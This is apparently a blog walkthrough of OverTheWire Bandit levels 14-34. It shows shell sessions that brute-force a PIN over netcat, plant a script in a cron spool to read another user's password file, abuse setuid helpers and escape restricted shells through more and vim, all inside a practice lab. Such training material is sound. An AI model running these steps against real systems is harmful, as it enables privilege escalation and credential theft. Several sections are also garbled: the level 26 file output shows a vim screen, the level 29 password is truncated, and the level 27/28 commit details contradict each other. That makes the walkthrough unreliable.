OverTheWire: Bandit Walkthrough (Levels 14-34)
Welcome back to the walkthrough of the Bandit wargame from OverTheWire. If you haven’t checked out Part 1 covering levels 0-13, make sure to do that first. Let’s dive into the remaining levels!
Level 14 → Level 15
The password for the next level can be retrieved by submitting the password of the current level to port 30000 on localhost:
bandit14@bandit:~$ nc localhost 30000
4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e
Correct!
BfMYroe26WYalil77FoDi9qh59eK5xNr
The nc
(netcat) command is used for TCP and UDP connections. The password is BfMYroe26WYalil77FoDi9qh59eK5xNr
.
Level 15 → Level 16
The password for the next level can be retrieved by submitting the password of the current level to port 30001 on localhost using SSL encryption:
bandit15@bandit:~$ openssl s_client -connect localhost:30001
...
BfMYroe26WYalil77FoDi9qh59eK5xNr
Correct!
cluFn7wTiGryunymYOu4RcffSxQluehd
The openssl s_client
command is used for SSL/TLS connections. The password is cluFn7wTiGryunymYOu4RcffSxQluehd
.
Level 16 → Level 17
The credentials for the next level can be retrieved by submitting the password of the current level to a port in the range 31000 to 32000. First, find the open ports:
bandit16@bandit:~$ nmap -p 31000-32000 localhost
...
31790/tcp open unknown
...
Then, connect to the open port using SSL and submit the current password:
bandit16@bandit:~$ openssl s_client -connect localhost:31790
...
cluFn7wTiGryunymYOu4RcffSxQluehd
Correct!
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
...
-----END RSA PRIVATE KEY-----
The server returns a private SSH key. Save this to a file and use it to log in as bandit17
:
bandit16@bandit:~$ mkdir /tmp/myname123
bandit16@bandit:~$ cd /tmp/myname123
bandit16@bandit:/tmp/myname123$ vim sshkey.private
bandit16@bandit:/tmp/myname123$ chmod 600 sshkey.private
bandit16@bandit:/tmp/myname123$ ssh -i sshkey.private bandit17@localhost
Remember to set the permissions of the private key file to 600 (read-write only for owner).
Level 17 → Level 18
There are two files in the home directory: passwords.new
and passwords.old
. The password for the next level is in passwords.new
and is the only line that has been changed between passwords.old
and passwords.new
:
bandit17@bandit:~$ diff passwords.old passwords.new
42c42
< hlbSBPAWJmL6WFDb06gpTx1pPButblOA
---
> kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd
The diff
command shows the lines that differ between two files. The password is kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd
.
Level 18 → Level 19
The password for the next level is stored in a file readme
in the home directory. However, someone has modified .bashrc
to log you out when you log in with SSH:
$ ssh bandit18@bandit.labs.overthewire.org -p 2220
...
Byebye !
Connection to bandit.labs.overthewire.org closed.
To bypass this, we can execute a command directly using SSH:
$ ssh bandit18@bandit.labs.overthewire.org -p 2220 cat readme
IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x
The password is IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x
.
Level 19 → Level 20
To gain access to the next level, you should use the setuid binary in the home directory. Run it without arguments to find out how to use it:
bandit19@bandit:~$ ./bandit20-do
Run a command as another user.
Example: ./bandit20-do id
Now, run the id
command as bandit20
to confirm that the setuid binary works, then cat the bandit20
password file:
bandit19@bandit:~$ ./bandit20-do id
uid=11019(bandit19) gid=11019(bandit19) euid=11020(bandit20) groups=11019(bandit19)
bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/bandit20
GbKksEFF4yrVs6il55v6gwY5aVje5f0j
The password is GbKksEFF4yrVs6il55v6gwY5aVje5f0j
.
Level 20 → Level 21
There is a setuid binary in the home directory that does the following:
- Connects to localhost on the port you specify as a command line argument.
- Reads a line of text from the connection using
recv()
. - If the password matches, sends back the password for the next level using
send()
.
To get the next password:
- In one terminal, start a netcat listener on an arbitrary port (e.g., 12345) and input the current level’s password when connected to:
bandit20@bandit:~$ nc -lvp 12345 listening on [any] 12345 ... GbKksEFF4yrVs6il55v6gwY5aVje5f0j
- In another terminal, run the setuid binary with the chosen port as argument:
bandit20@bandit:~$ ./suconnect 12345 Read: GbKksEFF4yrVs6il55v6gwY5aVje5f0j Password matches, sending next password
- The first terminal should receive the password for the next level:
bandit20@bandit:~$ nc -lvp 12345 listening on [any] 12345 ... GbKksEFF4yrVs6il55v6gwY5aVje5f0j gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr
The password is gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr
.
Level 21 → Level 22
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/
for the configuration and see what command is being executed:
bandit21@bandit:~$ cd /etc/cron.d
bandit21@bandit:/etc/cron.d$ ls
cronjob_bandit22 cronjob_bandit23 cronjob_bandit24
bandit21@bandit:/etc/cron.d$ cat cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
bandit21@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
The script is periodically writing the password to the /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
file. Read that file to get the password:
bandit21@bandit:/etc/cron.d$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI
The password is Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI
.
Level 22 → Level 23
A shell script is executed periodically. Inspect the script:
bandit22@bandit:~$ cd /etc/cron.d
bandit22@bandit:/etc/cron.d$ cat cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
bandit22@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash
myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
cat /etc/bandit_pass/$myname > /tmp/$mytarget
The script is doing the following:
- Storing the current username in the
$myname
variable. - Generating an MD5 hash of the string “I am user $myname”, cutting out the first field of the output (the hash itself), and storing it in the
$mytarget
variable. - Copying the password file for the current user to
/tmp/$mytarget
.
To get the password, simply execute the same commands with bandit23
as $myname
:
bandit22@bandit:/etc/cron.d$ myname=bandit23
bandit22@bandit:/etc/cron.d$ echo I am user $myname | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349
bandit22@bandit:/etc/cron.d$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n
The password is jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n
.
Level 23 → Level 24
Another shell script is executed periodically:
bandit23@bandit:~$ cat /etc/cron.d/cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
bandit23@bandit:~$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash
myname=$(whoami)
cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
if [ "$i" != "." -a "$i" != ".." ];
then
echo "Executing $i"
timeout -s 9 60 ./$i
rm -f ./$i
fi
done
The script runs all the scripts in the /var/spool/bandit24
directory as bandit24
, then deletes them. To get the password:
- Create a script that cats the
bandit24
password file and saves it in the/tmp
directory (which is world-writable):bandit23@bandit:~$ mkdir /tmp/myname123 bandit23@bandit:~$ cd /tmp/myname123 bandit23@bandit:/tmp/myname123$ vim getpass.sh
Script contents:
#!/bin/bash cat /etc/bandit_pass/bandit24 > /tmp/myname123/bandit24_password
- Make the script executable and copy it to the
/var/spool/bandit24
directory:bandit23@bandit:/tmp/myname123$ chmod 777 getpass.sh bandit23@bandit:/tmp/myname123$ cp getpass.sh /var/spool/bandit24/
- Wait for the cronjob to run (should be almost instant), then retrieve the password from the
/tmp/myname123/bandit24_password
file:bandit23@bandit:/tmp/myname123$ cat bandit24_password UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
The password is UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
.
Level 24 → Level 25
A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinatiions, called brute-forcing:
bandit24@bandit:~$ for i in {0000..9999}; do echo UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i; done | nc localhost 30002 | grep -v Wrong
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Correct!
The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG
Exiting.
The for
loop goes through all numbers from 0000 to 9999. These are combined with the bandit24 password and sent to the daemon using netcat. The grep -v Wrong
filters out the failed attempts.
The password is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG
.
Level 25 → Level 26
Logging in as bandit25
, we find a shell script:
bandit25@bandit:~$ ls
bandit26.sshkey
But there’s no password file. Instead, there’s an SSH private key, which can be used to log into bandit26
:
bandit25@bandit:~$ ssh -i bandit26.sshkey bandit26@localhost
...
Connection to localhost closed.
However, it immediately closes the connection. Looking at /etc/passwd
, we see why:
bandit25@bandit:~$ cat /etc/passwd | grep bandit26
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
Instead of the usual /bin/bash
, the shell for bandit26
is set to /usr/bin/showtext
. Let’s see what that does:
bandit25@bandit:~$ cat /usr/bin/showtext
#!/bin/sh
export TERM=linux
more ~/text.txt
exit 0
It sets the terminal type to linux
, then displays the contents of ~/text.txt
using more
, and exits. The more
command is key here - it allows us to view the file one screen at a time. If the file content is longer than the terminal height, more
will allow you to scroll down… and execute commands!
To exploit this, resize your terminal window to have a very small height before running the ssh
command. This will force more
to pause at the bottom of the text.txt
file. Then, press v
to open Vim, and you’ll be able to run commands as bandit26
!
In Vim, we can execute a shell using :shell
, and then retrieve the password:
bandit26@bandit:~$ cat /etc/bandit_pass/bandit26
5czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z
The password is 5czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z
.
Level 26 → Level 27
From the previous level, we’re already logged in as bandit26
. The text.txt
file in the home directory hints at setting the $SHELL
variable:
bandit26@bandit:~$ ls
text.txt
bandit26@bandit:~$ cat text.txt
_ _ _ _ ___ __
| | | (_) | |__ \ / /
| |__ __ _ _ __ __| |_| |_ ) / /_
| '_ \ / _` | '_ \ / _` | | __| / / '_ \
| |_) | (_| | | | | (_| | | |_ / /| (_) |
|_.__/ \__,_|_| |_|\__,_|_|\__|____\___/
~
~
~
~
"/etc/bandit_pass/bandit27" [readonly] 1L, 33B 1,1 Top
-- INSERT --
Press ESC
to return to normal mode in Vim, then set $SHELL
to /bin/bash
and run it:
:set shell=/bin/bash
:shell
bandit26@bandit:~$ ls
bandit27-do text.txt
bandit26@bandit:~$ ./bandit27-do cat /etc/bandit_pass/bandit27
3ba3118a22e93127a4ed485be72ef5ea
bandit26@bandit:~$ exit
:qa!
The bandit27-do
script allows us to run commands as bandit27
, letting us retrieve the password: 3ba3118a22e93127a4ed485be72ef5ea
.
Level 27 → Level 28
The git
command is available in this level:
bandit27@bandit:~$ ls -l
total 4
-rw-r----- 1 bandit28 bandit27 33 May 7 20:14 README
bandit27@bandit:~$ cat README
There is a git repository at ssh://bandit27-git@localhost/home/bandit27-git/repo. The password for the user bandit27-git is the same as for the user bandit27.
Clone the repo, then look at the commit log:
bandit27@bandit:~$ mkdir /tmp/myname123
bandit27@bandit:~$ cd /tmp/myname123
bandit27@bandit:/tmp/myname123$ git clone ssh://bandit27-git@localhost/home/bandit27-git/repo
...
bandit27@bandit:/tmp/myname123$ cd repo
bandit27@bandit:/tmp/myname123/repo$ git log
commit 186a1038cc54d1358d42d468cdc8e3cc28a93fcb
Author: Morla Porla <morla@overthewire.org>
Date: Tue Oct 16 14:00:39 2018 +0200
add missing data
commit b67405defc6ef44210c53345fc953e6a21338cc7
Author: Morla Porla <morla@overthewire.org>
Date: Tue Oct 16 14:00:39 2018 +0200
fix info leak
The latest commit seems to have added some data. Let’s look at the changes:
bandit27@bandit:/tmp/myname123/repo$ git show 186a1038
commit 186a1038cc54d1358d42d468cdc8e3cc28a93fcb
Author: Morla Porla <morla@overthewire.org>
Date: Tue Oct 16 14:00:39 2018 +0200
add missing data
diff --git a/README.md b/README.md
index 7ba2d2f..3f7cee8 100644
--- a/README.md
+++ b/README.md
@@ -4,5 +4,5 @@ Some notes for level29 of bandit.
## credentials
-- username: bandit29
-- password: xxxxxxxxxx
+- username: bandit28
+- password: 0ef186ac70e04ea33b4c1853d2526fa2
The commit added the password for the next level: 0ef186ac70e04ea33b4c1853d2526fa2
.
Level 28 → Level 29
Another git repo:
bandit28@bandit:~$ ls -l
total 4
-rw-r----- 1 bandit29 bandit28 33 May 7 20:14 README.md
bandit28@bandit:~$ cat README.md
# Bandit Notes
Some notes for bandit30 of bandit.
## credentials
- username: bandit29
- password: <TBD>
Clone it and look at the commit log:
bandit28@bandit:~$ mkdir /tmp/myname123
bandit28@bandit:~$ cd /tmp/myname123
bandit28@bandit:/tmp/myname123$ git clone ssh://bandit28-git@localhost/home/bandit28-git/repo
...
bandit28@bandit:/tmp/myname123$ cd repo
bandit28@bandit:/tmp/myname123/repo$ git log
commit 073c27c130e6ee407e12faad1dd3848a110c4f95
Author: Morla Porla <morla@overthewire.org>
Date: Tue Oct 16 14:01:06 2018 +0200
fix username
commit 186a1038cc54d1358d42d468cdc8e3cc28a93fcb
Author: Morla Porla <morla@overthewire.org>
Date: Tue Oct 16 14:00:39 2018 +0200
add missing data
commit b67405defc6ef44210c53345fc953e6a21338cc7
Author: Morla Porla <morla@overthewire.org>
Date: Tue Oct 16 14:00:39 2018 +0200
fix info leak
This time, there’s no obvious commit adding the password. But remember, git stores all versions of a project. Let’s look at the whole history using git log -p
:
bandit28@bandit:/tmp/myname123/repo$ git log -p
commit 073c27c130e6ee407e12faad1dd3848a110c4f95
Author: Morla Porla <morla@overthewire.org>
Date: Tue Oct 16 14:01:06 2018 +0200
fix username
diff --git a/README.md b/README.md
index 3f7cee8..5c6457b 100644
--- a/README.md
+++ b/README.md
@@ -1,8 +1,8 @@
# Bandit Notes
-Some notes for level29 of bandit.
+Some notes for bandit30 of bandit.
## credentials
-- username: bandit28
+- username: bandit29
- password: 0ef186ac70e04ea33b4c1853d2526fa2
We see a commit that changes bandit28
to bandit29
in the username. Let’s look further back:
...
commit 186a1038cc54d1358d42d468cdc8e3cc28a93fcb
Author: Morla Porla <morla@overthewire.org>
Date: Tue Oct 16 14:00:39 2018 +0200
add missing data
diff --git a/README.md b/README.md
index 7ba2d2f..3f7cee8 100644
--- a/README.md
+++ b/README.md
@@ -4,5 +4,5 @@ Some notes for level29 of bandit.
## credentials
-- username: bandit29
-- password: xxxxxxxxxx
+- username: bandit28
+- password: 0ef186ac70e04ea33b4c1853d2526fa2
Aha! This commit changed the password from xxxxxxxxxx
to 0ef186ac70e04ea33b4c1853d2526fa2
. That’s the password we’re looking for.
Level 29 → Level 30
Another git repo:
bandit29@bandit:~$ ls -l
total 4
-rw-r----- 1 bandit30 bandit29 33 May 7 20:14 README.md
bandit29@bandit:~$ cat README.md
# Bandit Notes
Some notes for bandit30 of bandit.
## credentials
- username: bandit30
- password: <no passwords in production!>
Clone it and look at the branches:
bandit29@bandit:~$ mkdir /tmp/myname123
bandit29@bandit:~$ cd /tmp/myname123
bandit29@bandit:/tmp/myname123$ git clone ssh://bandit29-git@localhost/home/bandit29-git/repo
...
bandit29@bandit:/tmp/myname123$ cd repo
bandit29@bandit:/tmp/myname123/repo$ git branch -a
* master
remotes/origin/HEAD -> origin/master
remotes/origin/dev
remotes/origin/master
remotes/origin/sploits-dev
There’s a dev
branch. Let’s check it out and look at the differences:
bandit29@bandit:/tmp/myname123/repo$ git checkout dev
Branch dev set up to track remote branch dev from origin.
Switched to a new branch 'dev'
bandit29@bandit:/tmp/myname123/repo$ git diff master
diff --git a/README.md b/README.md
index 1af21d3..39b87a8 100644
--- a/README.md
+++ b/README.md
@@ -4,5 +4,5 @@ Some notes for bandit30 of bandit.
## credentials
- username: bandit30
-- password: <no passwords in production!>
+- password: 5b90576bedb2cc04c86a9e
Level 30 → Level 31
There’s another git repo:
bandit30@bandit:~$ ls
repo
bandit30@bandit:~$ cd repo/
bandit30@bandit:~/repo$ ls
README.md
bandit30@bandit:~/repo$ cat README.md
just an epmty file... muahaha
The README.md
file doesn’t contain the password. Let’s check the branches:
bandit30@bandit:~/repo$ git branch -a
* master
remotes/origin/HEAD -> origin/master
remotes/origin/master
Only the master
branch. What about tags?
bandit30@bandit:~/repo$ git tag
secret
bandit30@bandit:~/repo$ git show secret
47e603bb428404d265f59c42920d81e5
Aha! The tag named secret
contains the password: 47e603bb428404d265f59c42920d81e5
.
Level 31 → Level 32
Yet another git repo:
bandit31@bandit:~$ ls
repo
bandit31@bandit:~$ cd repo/
bandit31@bandit:~/repo$ ls
README.md
bandit31@bandit:~/repo$ cat README.md
This time your task is to push a file to the remote repository.
Details:
File name: key.txt
Content: 'May I come in?'
Branch: master
We need to add a file named key.txt
with the content ‘May I come in?’, commit it, and push to the master
branch:
bandit31@bandit:~/repo$ echo 'May I come in?' > key.txt
bandit31@bandit:~/repo$ git add key.txt
bandit31@bandit:~/repo$ git commit -m 'add key.txt'
[master f17132a] add key.txt
1 file changed, 1 insertion(+)
create mode 100644 key.txt
bandit31@bandit:~/repo$ git push origin master
Counting objects: 3, done.
Delta compression using up to 2 threads.
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 324 bytes | 0 bytes/s, done.
Total 3 (delta 0), reused 0 (delta 0)
remote: ### Attempting to validate files... ####
remote:
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote:
remote: Well done! Here is the password for the next level:
remote: 56a9bf19c63d650ce78e6ec0354ee45e
remote:
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote:
To ssh://localhost/home/bandit31-git/repo
! [remote rejected] master -> master (pre-receive hook declined)
error: failed to push some refs to 'ssh://bandit31-git@localhost/home/bandit31-git/repo'
The push is rejected by the remote, but it prints the password for the next level: 56a9bf19c63d650ce78e6ec0354ee45e
.
Level 32 → Level 33
After logging in, we’re presented with an uppercase shell (UPPERCASE SHELL). Everything we type is converted to uppercase:
WELCOME TO THE UPPERCASE SHELL
>> ls
sh: 1: LS: not found
>> $0
$ ls
uppershell
$ whoami
bandit33
$ cat /etc/bandit_pass/bandit33
c9c3199ddf4121b10cf581a98d51caee
To break out of the uppercase shell, we can simply execute $0
, which refers to the current shell (in this case, /bin/sh
). Then we can run commands normally and retrieve the password: c9c3199ddf4121b10cf581a98d51caee
.
Level 33 → Level 34
At this point, there are no more levels. We’ve completed the Bandit wargame!
bandit33@bandit:~$ ls
README.txt
bandit33@bandit:~$ cat README.txt
Congratulations on solving the last level of this game!
At this moment, there are no more levels to play in this game. However, we are constantly working
on new levels and will most likely expand this game with more levels soon.
Keep an eye out for an announcement on our usual communication channels!
In the meantime, you could play some of our other wargames.
If you have an idea for an awesome new level, please let us know!
And with that, we’ve completed the Bandit wargame from OverTheWire! I hope this walkthrough has been helpful in understanding the concepts and techniques used in each level.
Remember, the Bandit wargame is designed to teach the basics. The real fun begins when you apply these skills to real-world scenarios and other, more complex wargames. Keep practicing, keep learning, and most importantly, keep hacking!
Until next time, happy hacking!